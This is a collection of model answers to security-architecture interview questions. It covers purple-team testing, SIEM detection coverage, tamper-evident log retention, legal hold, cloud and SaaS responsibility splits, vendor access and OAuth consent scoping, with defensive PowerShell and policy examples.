What a strong candidate says first
A passed review tells you the controls were designed to compose. It does not tell you they do. The only evidence that prevention, detection and response fire together is a purple exercise that runs the actual technique down the funded attack path and records, per control, whether it prevented, detected, responded, or never saw the traffic: with timestamps.
Assumptions I'd state up front: the crown-jewel path is defined and funded, every layer emits telemetry into a place you can query, and you can run the technique without breaking production.
Why the review can't answer it
A review scores each control against intent, usually in isolation: is MFA configured, is EDR deployed, is the segment drawn. Composition failures live in the seams. The identity provider enforces MFA for interactive logins but not for the token-refresh path. The segment exists in the diagram but the jump host sits on both sides. EDR is deployed but its alerts land in a queue nobody watches. None of those show up in a design review; all of them show up when you walk the path.
Worked example (hypothetical figures)
A review signed off on phishing-resistant admin MFA, EDR, and segmentation. A purple team then walked phishing → credential theft → lateral movement → domain admin:
| Control | Review claim | Purple result | Time |
|---|---|---|---|
| Admin MFA | phishing-resistant | not enforced on token refresh | — |
| EDR | deployed | detected, no block | 49 min |
| Segmentation | drawn | jump host bridged both segments | 55 min to DA |
| After redesign: FIDO2 + JIT admin | — | path stopped at credential use | 0 min to DA |
The review was not wrong about what was deployed. It was wrong about what composed. Detection at minute 49 is not prevention; the path completed at 55.
How to run it so the result means something
- Pick the funded path, not a convenient one. The technique should be the one your threat model says is most likely, run end to end.
- Assert prevention separately from detection. "An alert fired" is a detection result. If the technique succeeded, prevention failed, and that is a design bug to file even though the SOC did its job.
- Record timestamps at each control boundary so MTTD and MTTC are architecture numbers you can defend, not SOC metrics that only count alerts.
- Re-run after the fix. The redesign row above is the only row that proves the path is closed.
Failure modes
A purple test that only checks detection proves detection. A test run on a lab replica proves the replica. A test that stops at the first alert hides everything downstream. And a control that fires in the exercise but saturates under real load, the EDR agent that queues during a mass-deploy, passes the test and fails the incident.
When not to
You cannot purple-team every path. Prioritize the two or three paths that reach crown jewels, and treat a passed review on the rest as a hypothesis you have not tested, not a control you can rely on.
Curated: · Written: · Reviewed:
Q&A-35The SIEM ingests 40 TB a month and the dashboard is green. How do you know Valid Accounts (T1078) is covered?
A green dashboard tells you ingestion is healthy, not that T1078 is covered. Coverage for a technique means four links in a chain: the technique emits a log event, a rule fires on that event, the alert carries enough context to triage, and there is a containment action. I would verify each link, because 40 TB a month can be flowing while any one of them is missing. My assumption is that T1078 here means logon with valid credentials, so the signal I care about is authentication and authorization events, not malware telemetry.
The method I reach for first is adversary emulation: pick the techniques that matter for this architecture, generate them in production-like conditions, and measure the four links. For T1078 that means replaying credential use against the identity provider and the systems behind it, then checking that the event arrived, the rule fired, the alert showed the actor, source, and target, and an analyst could act on it. The output is a per-technique record with named blind spots, not a percentage.
That method is not the only one, and the choice depends on what you are trying to prove. Vendor detection-coverage reports are cheap and fast, but they describe the vendor's rules, not your deployment: they do not tell you whether the log source is onboarded or the rule is enabled. Control-framework mapping is what an auditor wants, and it says nothing about whether the event reaches the SIEM. Threat-hunting backstops over retained data catch what rules miss, but a hunt proves the data exists, not that a detection exists. I use vendor mapping to build a candidate list, control mapping for audit obligations, emulation for the techniques that matter most, and hunts as the continuous backstop between drills.
The reason I do not trust volume is a case I have seen. Ingestion was 40 TB a month. Azure AD privileged-role activation was never sent to the SIEM. An attacker used T1078 for 19 days; the first ticket came from a customer who noticed a strange mailbox rule.
| Signal | Value | T1078 visible? | Time to detect |
|---|---|---|---|
| Monthly ingestion | 40 TB | No | 19 days |
| Privileged-role activation in SIEM | Not logged | No | 19 days |
| After log source and rule added | 12 of 12 drills fired | Yes | 18 min median |
The blind spot was found by the drill, not by the dashboard. The same check works in reverse: take the technique's required data sources, compare them against the log-source inventory, and confirm the rule is enabled. Anything that fails that comparison is design work, not a tuning task. I would not call T1078 covered until a generated instance produced an event, a fired rule, usable triage context, and a containment path I could name.
Curated: · Written: · Reviewed:
Q&A-49Logs go to a hot SIEM the SOC admins also administer. Why is that a problem in a dispute?
Core answer, first 90 seconds
Because the people who administer the SIEM are inside the set of people the dispute can be about. A log store is evidence only if it is held by someone with no stake in what it says. When the SOC both generates and administers the only copy, the other side can argue, correctly, that the record is self-reported by an interested party. You cannot prove the logs are complete; you can only prove the ones you still have. That is the problem: not that the SOC lied, but that the architecture gives them the ability to, and gives you no way to show they did not.
What "administer" actually buys them
Every one of these is a routine ops action, not an attack:
- Delete or roll over an index covering a window.
- Change retention so the window ages out early.
- Edit RBAC or a service token so a source stops shipping.
- Change the ingest pipeline so a field is dropped or rewritten.
- Move the collector clock, so timestamps no longer line up with the other side's records.
None of that requires malice. It requires only that the same team holds the keys and is a party to the dispute.
The fix, and when it is not worth it
Write a second copy to storage the SOC cannot alter: WORM/object-lock in a separate account, with its own credentials and its own custody. The SIEM keeps a hot working copy for detection; the WORM copy is the evidence.
| Property | Hot SIEM, SOC-administered | Separately custodied WORM |
|---|---|---|
| Who can delete a day of logs | any SOC admin with index privileges | needs the second account's credentials, held outside the SOC |
| Retention change | editable in the SIEM's own config | fixed at write time |
| Clock | collector NTP, admin can change | pinned, offset recorded per batch |
| Cost | already paid | second copy: storage + egress + a pipeline to maintain |
| Query latency | low | high; cold, not for detection |
Deciding criterion: does this log set support a decision with legal, financial or adversarial consequence? If yes, dual-write. If the logs only drive paging and dashboards, the second copy is cost with no dispute exposure to answer: skip it.
Failure modes and how you detect them
- Insider truncation: a gap in sequence numbers or a batch hash that does not match the WORM manifest. Detect by reconciling counts per source per hour, not by eyeballing the SIEM.
- Silent retention change: the SIEM's oldest event is younger than the policy says. Alert on the age of the oldest index.
- Clock skew: collector offset drifts from the pinned reference; timestamps stop correlating with the other side's records. Record the offset per batch.
- Shared admin account: you cannot attribute a deletion to a person. Require per-admin credentials on the evidence path.
Worked trace (hypothetical)
An insider deletes the index covering a disputed window:
- Hot SIEM: the index is gone. Queries return nothing for that window. No second copy exists, so the absence is indistinguishable from "no activity."
- WORM copy: the batch for that hour was written at ingest and locked. The manifest still lists the event count and the batch hash.
- Reconciliation: hot SIEM count for the hour is 0, WORM manifest says 41,208 events. The gap is now provable, and the WORM copy can be produced.
That reconciliation is the whole point. The SIEM is a detection tool; the evidence is the copy the SOC cannot touch. If the same admins hold both, you have a detection tool and a story.
Curated: · Written: · Reviewed:
Q&A-84SIEM retention is 30 days to save money. Legal hold needs 2 years for a case. Who wins?
Legal hold wins. A preservation obligation outranks a storage-cost target every time. But the 30-day SIEM retention is not what loses the case: the absence of a hold-capable store is.
Assumptions I'd state before answering: US federal civil litigation, so FRCP 37(e) governs spoliation of electronically stored information; the hold is issued by counsel with a defined scope; and the SIEM is the only place the relevant events live.
Why the hold wins
The duty to preserve attaches when litigation is reasonably anticipated, not when the complaint is filed. From that moment, deleting in-scope data is spoliation. FRCP 37(e) does not sanction every loss automatically: it requires that the ESI cannot be restored or replaced through additional discovery, and it separates prejudice (curative measures, an adverse-inference instruction) from intent to deprive (a presumption or dismissal). So the cost of a 30-day window is not the storage saving; it is an adverse-inference instruction telling the jury the missing events were unfavourable.
That reframes the design. Retention is a per-class decision, and legal hold is a scope plus a flag, not a longer retention period bolted onto the hot tier.
| Class | Default retention | Store | On hold |
|---|---|---|---|
| Ephemeral debug | 7 days | hot SIEM | out of scope |
| Operational | 30 days | hot SIEM | copy out, then normal expiry |
| Hold-capable | 2 years | WORM object store | object lock blocks deletion |
Worked example (hypothetical figures)
A case opens on day 45. The hold scope covers 11,000 events from a three-day window. The hot SIEM expired them at day 30.
- If those events were copied into the WORM store at ingest, all 11,000 are readable at day 400.
- If they were not, they are gone. There is no duty to recreate what no longer exists, but you must be able to show the deletion was routine and pre-dated the trigger: that is the good-faith, routine-operation defence.
Failure modes
- Hold applied at the query layer. A flag on the SIEM index does nothing if the index lifecycle policy still rolls it. Enforcement has to sit at the storage layer.
- WORM in governance mode. S3 Object Lock in governance mode can be bypassed by a principal holding
s3:BypassGovernanceRetention. Compliance mode blocks deletion even for the root account until the retention date passes. - Scope too narrow. Holding one custodian's events while the shared index expires underneath them.
- Hold issued after expiry. Recoverable only through documentation, not through the SIEM.
Verification
Place a test hold, then confirm two things: the object is still readable at day 400 while the hot SIEM copy is empty, and a delete attempt against the held object fails. A cost optimisation is not a preservation policy: the fix is a hold store, not a larger SIEM bill.
Curated: · Written: · Reviewed:
Q&A-60Incident response wants a kill switch for a dangerous export. Where does that belong in the architecture?
Assumptions first, because they decide the answer: the export is a synchronous HTTP endpoint; the flag service is reachable on the request path, not only at deploy time; and incident response has a named operator authorised to flip the flag. If the export is instead an async batch job, or the flag is only read at process start, the placement moves: I cover both at the end.
The kill switch belongs on the server-side capability, not in the UI. Concretely: a server-evaluated flag checked inside the export handler, ANDed with an authorization check on the export permission, both evaluated on every request. Put it at the capability boundary, the same layer as the authz check, rather than only at the gateway, because internal callers and service-to-service calls routinely bypass the gateway. Hiding the button is fine as a second layer, but it is not containment.
The reason is that hiding a button removes the affordance, not the capability. The route stays registered, the tokens that call it stay valid, and anyone who has seen the request once, or reads the JS bundle, can replay it with curl. Containment has to sit where the rows are actually read.
A worked example, figures hypothetical but the shape is one I've seen:
| Control | Endpoint reachable | Rows pulled | 40 direct calls |
|---|---|---|---|
| UI hide only | yes | 1.2 million | 40 × 200 |
| Server flag + authz | no | 0 | 40 × 403 |
In that incident the UI hid Export All. The JSON endpoint stayed live. The attacker called it 40 times and pulled 1.2 million rows while the flag that was supposed to stop it did nothing. The server-gated version returns 403 on every one of those calls, and IR disables it in about two minutes without a deploy.
Verification, because "we have a flag" is not evidence: disable the flag, call the endpoint directly with a valid token, require 403, then re-enable and confirm the change is in the audit log with the operator's identity. Do this in an IR drill, not during the incident.
Two things move the answer. If the export is an async job, the flag must gate the worker that reads the queue, not the enqueue endpoint: otherwise the job is already in flight and the switch stops nothing. If the capability is spread across services, one flag per service is a trap; you need a single switch the request path consults, or you will disable three of four paths and call it contained.
Curated: · Written: · Reviewed:
Q&A-103Design the audit-log architecture for a regulated estate: application logs, admin actions, and data access must be tamper-evident and retained for seven years. Where does application-level logging stop being enough?
First I'd split the word "logs". Application logs are a debugging facility: level-tunable, sampled, rotated on size, written by the same process that handles the request. Audit events are evidence: who did what, to which object, when, from where, under which authorisation, and what the outcome was. The architecture question is where the evidence lives and who can touch it.
Assumptions I'd state: a regulated estate, seven-year retention, cloud object storage available, an existing SIEM the SOC already runs. Under those, application-level logging is insufficient for four reasons, and each one drives a design decision.
The writer shares fate with the thing it witnesses. If the app is compromised, the attacker controls the log call: suppress the event, forge a success, rewrite the file. The app's credentials can usually delete its own trail, and a crash before flush loses the record entirely. So the first move is a separate trust domain: a dedicated log account with its own identity plane, no write-back into the source account, and producers holding an append-only role that can create objects but not delete or overwrite them.
Immutability has to be enforced by the storage, not by policy. Object Lock in compliance mode sets retention at write time and cannot be shortened before expiry, not by root, not by support. Governance mode is not enough: a privileged user can remove it. Compliance mode for the regulated set, verified with a canary object that must still exist at the next audit.
Tamper evidence. Immutability stops deletion; it does not stop a forged insert or a reordering. Each record carries a sequence number and the previous record's hash:
h_n = SHA-256(canonical(seq, ts, actor, action, object, outcome) || h_{n-1})
Daily, the collector builds a Merkle root over that day's hashes and signs it with an asymmetric KMS key held in a different account from the logs. The signed root goes to a second account and an RFC 3161 timestamp authority. Verification recomputes the chain from seq 1; one altered byte changes every hash after it, and a missing day's root is visible externally. Sequence numbers, not timestamps, are the ordering authority: hosts drift, and collector receive time is not event time.
Access to the logs themselves. The SIEM is a derived, mutable copy for detection; the WORM store is the source of truth. Analysts query the copy. Direct reads of the store are break-glass: two-person approval, session recording, and the read is written back into the same immutable store. That recursion is the point: you cannot quietly look at the evidence.
| Class | Producer | Store | Retention | Reader |
|---|---|---|---|---|
| Auth and admin actions | IdP, cloud control plane | WORM, compliance mode | 7 y | break-glass |
| Regulated data access | App SDK to collector | WORM | 7 y | break-glass |
| Detection telemetry | Agents, flow logs | SIEM (mutable) | 90 d | SOC |
| Debug and app logs | App stdout | Log platform | 30 d | engineering |
Retention is tiered, and the arithmetic forces it. Illustrative: 50M events/day at 2 KB is 100 GB/day, about 255 TB over seven years. Deep Archive at roughly $1/TB/month is about $3k/year. The same 90 days in a hot SIEM at $3/GB ingest is around $27k/month. The immutable store carries retention; the SIEM carries detection.
Failure modes I'd name. Collector outage: producers buffer locally, and for payment or privileged actions the design fails closed (no log, no action) with a compensating record for actions that must proceed. Signing key in the same account as the logs: an account admin can re-sign the chain, so the key belongs in a separate account or HSM. Erasure requests: audit records are usually retained under legal obligation, so pseudonymise the subject identifier rather than deleting the record.
The judgement call is the fail-closed boundary. Decide per action class which events are worth refusing the transaction for, and write it down: everything else is storage configuration.
Curated: · Written: · Reviewed: —
Q&A-32The provider's page says they manage the cloud of the cloud. Why do we still own IAM and data?
Short answer: The provider manages the cloud. The facilities, hardware, hypervisor, and the control plane of its managed services. You own everything you put into it: identities, permissions, data, guest configuration, and network exposure. "Managed" tells you who operates a layer, not who carries the consequence when that layer is misused. The provider's SLA covers whether the service is available; it does not cover whether your data was safe or your permissions were sane.
Why the line falls there. Responsibility follows control and consequence. The provider cannot classify your data, know your tenants, or answer to your regulator. Under GDPR you are the controller and the provider is a processor; under HIPAA you are the covered entity signing the BAA; under PCI DSS you are the merchant. Those roles do not transfer by contract, and provider terms cap liability well below the cost of a breach.
The split is per service model, not per vendor. Same vendor, three different answers:
| Layer | IaaS (EC2) | PaaS (RDS / App Runner) | SaaS (managed IdP) |
|---|---|---|---|
| Facilities, hardware, hypervisor | provider | provider | provider |
| Guest OS / runtime patching | you | provider | provider |
| App code and config | you | you | provider |
| Identity, permissions, access review | you | you | you |
| Data classification, retention, export | you | you | you |
The bottom two rows never move. That is the answer to the question.
Failure mode, traced. A team treated EC2 as a managed server.
- Day 0: launch instance; security group allows 0.0.0.0/0 on port 22; instance profile carries AdministratorAccess.
- Days 0–71: nobody reviews either. The AWS Config managed rule
restricted-sshis not enabled, so nothing flags the group. - Day 71: credential stuffing against SSH. 14 instances receive attempts; 3 have reused passwords and are compromised.
- Days 71–80: the compromised instance role can call
iam:CreateUserandec2:RunInstances. Miners run for 9 days.
Every row in that trace is customer-owned. The provider patched the hypervisor throughout and never saw a problem.
Detect and prevent on your rows. An SCP denying ec2:AuthorizeSecurityGroupIngress from 0.0.0.0/0 on port 22; AWS Config rules restricted-ssh and iam-root-access-key-check; IMDSv2 required so a compromised instance cannot fetch long-lived credentials; GuardDuty finding UnauthorizedAccess:EC2/SSHBruteForce routed to a page, not a dashboard.
Where the provider does help. IAM Identity Center, managed KMS, and Secrets Manager remove the undifferentiated work of running an IdP or an HSM. You still own who gets which permission and which key protects which data: the assignment, not the machinery.
The provider's fence ends at your account boundary. IAM and data are inside it.
Curated: · Written: · Reviewed:
Q&A-33It is a managed database, so security is included. What still has to be designed?
Managed means the provider runs the engine. It does not mean the provider decides who can reach the endpoint, which identity can run DROP TABLE, who holds the key that decrypts the volume, or who can restore last night's snapshot into a fresh account. Those four (network path, identity, key custody, backup restore) are the design.
What the SLA covers
| Control | Provider | You |
|---|---|---|
| Host, engine patching, hardware | yes | — |
| Network exposure | endpoint exists | public vs private, security groups, private link |
| Identity | IAM primitives | control-plane vs data-plane roles |
| Encryption at rest | available, often default | key custody, rotation, revocation |
| Backups | automated snapshots | retention, who can restore, cross-account |
| Audit | log stream exists | enable, destination, retention, readers |
| Secrets | — | storage, rotation, no secrets in app config |
Identity. Split the planes. rds:CreateDBInstance, rds:ModifyDBInstance, rds:DeleteDBInstance and rds:RestoreDBInstanceFromDBSnapshot are control plane. SELECT and INSERT are data plane. Provider IAM hands you primitives for both, and the default role often grants both. Give the app a role that can query but not delete; give a human rds:DescribeDBLogFiles but not rds:RestoreDBInstanceFromDBSnapshot. If you use IAM database authentication, the auth token expires after 15 minutes, so the app must refresh it: that is a real code path, not a checkbox.
Keys. Encryption at rest is available on every mainstream managed engine; the console defaults it on for RDS and Aurora is always encrypted. But "available" is not "designed". On RDS you cannot encrypt an existing unencrypted instance in place: snapshot it, copy the snapshot with encryption enabled, restore from the copy. If the data class needs customer-managed keys, you own the KMS key, its rotation (AWS KMS rotates customer-managed keys every 365 days by default), and the consequence of revocation: a revoked or deleted key makes the database unreadable. KMS enforces a 7–30 day waiting period on ScheduleKeyDeletion, which is your last undo. Cost is about $1 per key per month plus $0.03 per 10,000 requests; the real cost is the hard dependency, if KMS is unreachable, the database is down.
Backups. Automated backup retention is 0–35 days, default 7. The provider takes them; you decide retention and, more importantly, who can restore. A restore is a control-plane action that materialises your data in a new instance, possibly in a new account. Restoring an encrypted snapshot cross-account requires the KMS key policy to grant the target account: that grant is the actual control, not the IAM policy. If any developer can restore, your data-plane IAM is decorative.
Audit. CloudTrail logs management events by default and keeps 90 days in Event history; data events (the actual queries) are off by default and cost extra. On the engine side, PostgreSQL needs pgaudit and MySQL needs the audit plugin or log_statement; both are off until you turn them on. Then you choose CloudWatch Logs retention: the default is "never expire", which is a cost and a data-retention problem, so set 90 or 365 days deliberately.
Trade-offs. Private endpoint is the cheapest isolation and keeps the managed service; PrivateLink or in-VPC deployment buys more control and more operational burden. Customer-managed keys add a hard dependency on KMS. For low-sensitivity data, provider-managed keys are the right call: the overhead buys nothing.
Failure modes. Public endpoint plus leaked credentials, found by a scanner within hours (detect: GuardDuty RDS Protection, Config rds-instance-public-access-check). Backup restore bypassing production IAM (detect: CloudTrail alert on rds:RestoreDBInstanceFromDBSnapshot). CMK revocation taking the database offline (detect: CloudWatch alarm on KMS throttling). Secrets in app config that never rotate (detect: Secrets Manager rotation age).
Verify with policy, not prose. AWS Config rules rds-storage-encrypted, rds-instance-public-access-check, rds-in-backup-plan, rds-multi-az-support, plus an SCP that denies instance writes outside the platform role:
{"Version":"2012-10-17","Statement":[{"Sid":"DenyRdsWritesOutsidePlatformRole","Effect":"Deny",
"Action":["rds:CreateDBInstance","rds:ModifyDBInstance","rds:RestoreDBInstanceFromDBSnapshot"],
"Resource":"*","Condition":{"StringNotEquals":{"aws:PrincipalArn":"arn:aws:iam::111122223333:role/platform-dba"}}}]}
What the interviewer is listening for. That you separate provider responsibility from yours, name the four things you still own, and can point at the specific control for each. Strong answers volunteer the control/data-plane split and the restore path without being asked.
Weak answers. "The provider handles security": conflates engine patching with access control. Listing encryption without saying who holds the key. Treating backups as a provider concern. Saying "we use IAM" without distinguishing control from data plane.
Follow-ups. Who can restore a snapshot, and what stops them? What happens to the app if you revoke the KMS key? How do you prove the instance was never public? Where do query logs go, and how long do you keep them?
Curated: · Written: · Reviewed:
Q&A-34We bought a certified SaaS. Who owns tenant isolation, SSO, and support access?
The 90-second answer. The certificate covers the provider's controls, not your tenant. Split it three ways: the isolation model is the provider's to implement and yours to verify and contract for; SSO and support access are provider capabilities whose configuration, enforcement and evidence are yours. A certified product with local passwords still enabled and standing provider admin access is an ungoverned estate with a logo.
| Concern | Provider owns | You own | Evidence you accept |
|---|---|---|---|
| Tenant isolation | Model implementation, pen test, SOC 2 CC6/CC7 | Choosing a model that fits your data, verifying the tenant boundary, contract terms on segregation | Isolation test report; the tenant-scoping code path if self-hosted |
| SSO | SAML/OIDC endpoint, metadata, SCIM endpoint | Enforcement, break-glass, deprovisioning, group-to-role mapping | IdP sign-in logs showing 100% SSO and zero local-auth events |
| Support access | Mechanism, provider staff controls | Approval workflow, time-box, session audit, revocation | Access tickets plus the provider's audit-log export |
Isolation: pooled, bridge or silo. Pooled is shared tables with a tenant_id column, often backed by row-level security; bridge is schema-per-tenant; silo is a database or stack per tenant. Deciding criteria: regulatory scope and data classification, tenant count and size spread, cost per tenant, the blast radius you can tolerate, and whether you need per-tenant restore. Pooled is right when tenants are many, small and similar. Silo is right when one tenant's data is regulated or a noisy neighbour would breach someone else's SLO. The certificate does not tell you which one you bought: ask for the isolation test report and the code path that scopes every query.
SSO: enforced-only versus local fallback. SSO-only with a vaulted break-glass account is the default for staff. Keep local fallback only where a group genuinely cannot use the IdP (contractors on their own IdPs, or service accounts) and then keep exactly one or two break-glass accounts, excluded from SSO, credentials in a vault, alert on every use. SCIM (RFC 7643/7644) versus manual provisioning is the same shape of call: SCIM pays for itself once joiner/mover/leaver volume is in the hundreds per year; below that a quarterly reconciliation is cheaper than the integration.
Support access: standing versus just-in-time. Standing provider admin is acceptable for a low-sensitivity tenant with a small team. Accept the default, require a ticket for anything beyond read-only, and review the provider's access log quarterly. Regulated data flips it: JIT approval, time-boxed, session recorded, access revoked when the ticket closes.
Failure mode and detection. The one that bites is a local password path left enabled beside SSO. Detect it by reconciling IdP active users against application accounts monthly, and alert on any authentication event whose method is not SAML or OIDC.
Worked example, hypothetical figures: a 400-seat tenant with SSO enforced. The IdP reports 400 active users; the application reports 412 accounts. Twelve accounts have no IdP counterpart: they are local. Three of those twelve hold admin. Those twelve are exactly the accounts that survive offboarding, because nothing deprovisions them. Fix: disable local auth, delete the twelve, keep two break-glass accounts in the vault.
The certificate is the provider's; the tenant is yours. Settle it with evidence: SSO-only sign-in logs, support-access tickets, the isolation test report, and a tested data-return and deletion path.
Curated: · Written: · Reviewed:
Q&A-50The SaaS vendor can jump into our tenant for troubleshooting. How do you architect that?
What I'd clarify first
- Does "jump in" mean read-only troubleshooting, or can the vendor change config and data? That decides the role's scope.
- Do we control the tenant's IdP and can we federate the vendor's identity, or does the vendor only offer its own delegated-admin console?
- Is the data regulated (PII/PHI)? Then the audit trail and notification duties are part of the design, not an afterthought.
Assumption I'll state: we administer the tenant, the vendor has its own IdP, and the vendor needs read plus occasional write during an incident.
The answer
Two designs, chosen by whether the vendor can federate.
Brokered JIT (preferred). The vendor engineer authenticates in the vendor's IdP; we federate via SAML/OIDC into a dedicated role in our tenant. That role is not standing: it's eligible, activated per incident. The request carries a ticket ID, an approver from our side, and an expiry. The session is proxied through a jump host so it's recorded. Deprovisioning has two independent paths: SCIM push from the vendor IdP, and our own expiry.
Vendor-side delegated admin. When the platform only offers its own delegated console (Microsoft GDAP, Salesforce delegated admin), we grant a time-bound delegated role and lean on the vendor's IdP plus SCIM for lifecycle. Weaker: we don't own the session recording.
Mechanism, concretely
- Identity: no local password for the vendor in our tenant. Federation maps the vendor's IdP subject to our role.
- Authorization: JIT. Entra PIM eligible assignment defaults to a 1-hour activation; AWS STS AssumeRole defaults to 1 hour and caps at 12. Pick the shortest that fits the incident.
- Session: proxy through Teleport, Azure Bastion, or AWS SSM Session Manager so commands are recorded to object storage; if the SaaS has no proxy path, its own audit log is the record.
- Deprovisioning: SCIM 2.0 (RFC 7643/7644) from the vendor IdP, plus our expiry as the backstop.
Trace of one request:
vendor engineer -> vendor IdP (MFA) -> SAML assertion -> our tenant role (eligible)
-> ticket + approver -> PIM activation (1h) -> jump host session (recorded)
-> expiry at 1h -> role returns to eligible -> SCIM revoke on offboarding
Trade-offs
| Brokered JIT | Vendor-side delegated admin | |
|---|---|---|
| Who records the session | us | vendor |
| Deprovisioning | SCIM + our expiry | SCIM only |
| Setup cost | jump host + federation | low |
| Works when vendor can't federate | no | yes |
Choose brokered when we control the IdP and the data is regulated; choose delegated admin when the platform offers nothing else, and compensate with contractual audit-log access.
Failure modes and detection
- Standing admin left on: enumerate permanent role assignments (PIM report, IAM Access Analyzer unused-permissions findings).
- Credential sharing at the vendor: session recording plus concurrent-session and impossible-travel alerts.
- Approval rubber-stamping: watch approval latency; sub-minute approvals on write access are the tell.
- SCIM lag: diff the vendor IdP roster against tenant accounts weekly.
- Break-glass untested: quarterly game day that logs in without a request and expects denial.
Verification
Attempt vendor login with no live request → expect denial. Approve a 2-hour window → confirm the session is recorded and the role expires on time.
Curated: · Written: · Reviewed:
Q&A-72Procurement bought a SASE suite. Sales said it is zero trust. How do you tell?
Ask one question before you read the datasheet: once a user authenticates to the SASE client, what can they reach? If the answer is "the corporate network", you bought a VPN with a cloud front end, and the zero-trust slide is marketing.
SASE is a packaging decision: SWG, CASB, DLP, sometimes ZTNA, delivered from vendor PoPs. Zero trust is a policy decision: every request to a resource is authorised on identity, device posture and context, and network location grants nothing. The two are orthogonal. A vendor can sell you the first without the second, and a licence line reading "ZTNA included" does not tell you which one you got.
The tell is the enforcement point. If the client tunnels all traffic to a PoP and the PoP hands it to a tunnel that lands on a flat data-centre VLAN, the perimeter moved; it did not disappear. Users still reach RFC1918 ranges directly, and the office LAN is still implicitly trusted.
So test it, don't read it. Four checks, all from a managed laptop with the SASE client connected:
| Test | Zero trust | SASE-as-VPN |
|---|---|---|
| SMB to the HR share, no entitlement | denied | file listing returns |
| TCP scan of 10.0.0.0/16 | no replies | hosts reply |
| Both tests from an office desk port | denied | allowed |
| Read the policy model | rules name apps and identities | rules name subnets and routes |
The last row predicts the others. If policy is written in subnets, the product is a router with a login page. If it is written in applications and identities, per-request authorisation is at least possible.
I have watched the failure. Seats showed 100% SASE coverage. After the PoP, users had /16 reach. A stolen laptop browsed the HR file share with no per-resource check and pulled 8,800 files in 70 minutes: about two files a second, an ordinary SMB copy, nothing exotic. Once the share sat behind an identity-aware proxy, the same laptop was denied and moved zero files.
What I would require before signing off: resource-level authorisation that does not depend on the PoP, evidence that RFC1918 is unreachable after login, and the same policy applied to users sitting in the office. A seat count is not a request policy.
Curated: · Written: · Reviewed:
Q&A-78CASB found 900 SaaS apps. 80 have tenant tokens. How do you architect the response?
What I'd say first
"Tenant token" here means an OAuth grant that isn't scoped to one user: either an application permission (app role) assigned to a service principal, or a delegated grant an admin consented to on behalf of the whole tenant. Those 80 are the incident; the other 820 are a hygiene backlog. I'd triage the 80 in the IdP, not in the CASB, because the CASB sees traffic and the IdP holds the grant.
Assumptions: Microsoft Entra ID as IdP, Microsoft Defender for Cloud Apps as the CASB, Graph as the resource. On Okta or Google Workspace the queries change; the shape doesn't.
Enumerate the grants
CASB discovery (proxy and firewall logs) gives you the 900 names. It cannot tell you scope. Pull the grant inventory from Graph:
# delegated grants: ConsentType AllPrincipals = tenant-wide, Principal = one user
Get-MgOauth2PermissionGrant -All | Select ClientId, ConsentType, Scope, PrincipalId
# application permissions (app roles) on each service principal
Get-MgServicePrincipal -All | ForEach-Object {
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id
}
Join on appId to the CASB list. Application permissions are tenant-wide by nature; delegated grants are tenant-wide only when ConsentType is AllPrincipals.
Why admin consent is the dividing line
A user-consented app holds one refresh token for that user; revoke the grant and it dies. An admin-consented app holds a service principal that can mint tokens for any user, and it survives the admin leaving, the user leaving, and password resets. That's why 80 matters more than 900.
Triage the 80
| Bucket | Criterion | Action |
|---|---|---|
| Sanction | Publisher verified, scope ≤ Mail.Read / Files.Read basic, business owner named | Keep, add to catalogue, move to resource-specific consent where available |
| Scope down | High scope but real use (e.g. Files.ReadWrite.All) | Replace with least-privilege scope or RSC, re-consent |
| Revoke | Unverified publisher, no owner, Directory.ReadWrite.All / Mail.ReadWrite | Remove grant, disable service principal |
Trade-offs
Blocking all 80 breaks workflows you don't own yet. Sanctioning without scoping keeps the token. Scope-down is the middle and the default. Deciding criterion: can the app do its job with a resource-specific or read-only scope? If yes, scope down; if no and there's no owner, revoke. Don't revoke a grant you can't attribute to a business owner: it gets re-consented within a week.
The other 820
Restrict user consent in Entra to verified publishers and low-impact scopes, turn on the admin consent request workflow so users request instead of self-granting, and block the high-risk scope classes at the consent policy. That's the paved path that stops the count growing.
Failure modes
Removing the grant stops new tokens; existing access tokens live up to ~1 hour (Entra default 60–90 minutes). Disable the service principal (AccountEnabled $false) if you need it dead now. Continuous Access Evaluation shortens that window for supported events. Watch for re-consent: alert on new AllPrincipals grants weekly.
Verify
Re-run the inventory, confirm the revoked app's service principal is disabled, and show a token request fails. That's the evidence.
Curated: · Written: · Reviewed:
Q&A-25The CRM questionnaire passed. The integration requested Mail.ReadWrite for every mailbox. What did diligence miss?
What diligence missed: the integration didn't ask to read the mailboxes of users who sign in. It asked for the application permission Mail.ReadWrite, and someone clicked Grant admin consent. That is app-only access to every mailbox in the tenant: no signed-in user, no per-user consent, and nothing the vendor questionnaire was ever scoped to cover.
Assume Microsoft 365 with Entra ID and Graph. Graph publishes Mail.ReadWrite twice, and the two are not the same permission:
Delegated Mail.ReadWrite | Application Mail.ReadWrite | |
|---|---|---|
| Consent | user, or admin on their behalf | admin only |
| Token | carries a user | client-credentials, no user |
| Reach | the signed-in user's own mailbox | every mailbox in the tenant |
| Unattended sync | needs a signed-in user | yes |
| Revoke | user consent, or CA policy | remove the service principal / app role assignment |
Delegated access is the intersection of the app's scopes and the signed-in user's own rights, so it cannot reach a mailbox the user can't. Application access has no user to intersect with: the app authenticates as itself and Exchange Online honours the role assignment tenant-wide. Note what it does not include: Mail.Send is a separate permission, so the blast radius here is read plus modify/delete, not send-as. That distinction matters when you're writing the incident scope.
Why the questionnaire passed: it asked the vendor about their controls. The grant lives in your tenant's Entra ID, not in their SOC 2. The consent screen is the control point, and it was clicked. A CRM that logs correspondence to records needs Mail.Read at most, scoped to the mailboxes actually being synced, not read/write across the tenant.
Resource-specific consent is the usual reflex here, and it's the wrong one: RSC in Graph covers Teams chat and channel messages, not mail. For Exchange Online the scoping control is an Application Access Policy, which restricts an app-only token to a mail-enabled security group:
# Exchange Online PowerShell
New-ApplicationAccessPolicy -AppId <app-guid> `
-PolicyScopeGroupId crm-sync-mailboxes@contoso.com `
-AccessRight RestrictAccess `
-Description "CRM sync: only mailboxes in this group"
Test-ApplicationAccessPolicy -AppId <app-guid> -Identity user@contoso.com
# Granted -> in the group
# Restricted -> outside it
Failure modes to name in the review: an over-broad app-only token is standing impersonation. It survives staff turnover, password resets and MFA changes, because it never depended on a user. A vendor breach converts directly into tenant-wide mail read. Detection is the consent-grant audit in Entra ID (Enterprise applications → consent and permissions), plus mailbox audit logging for MailItemsAccessed by the app's service principal.
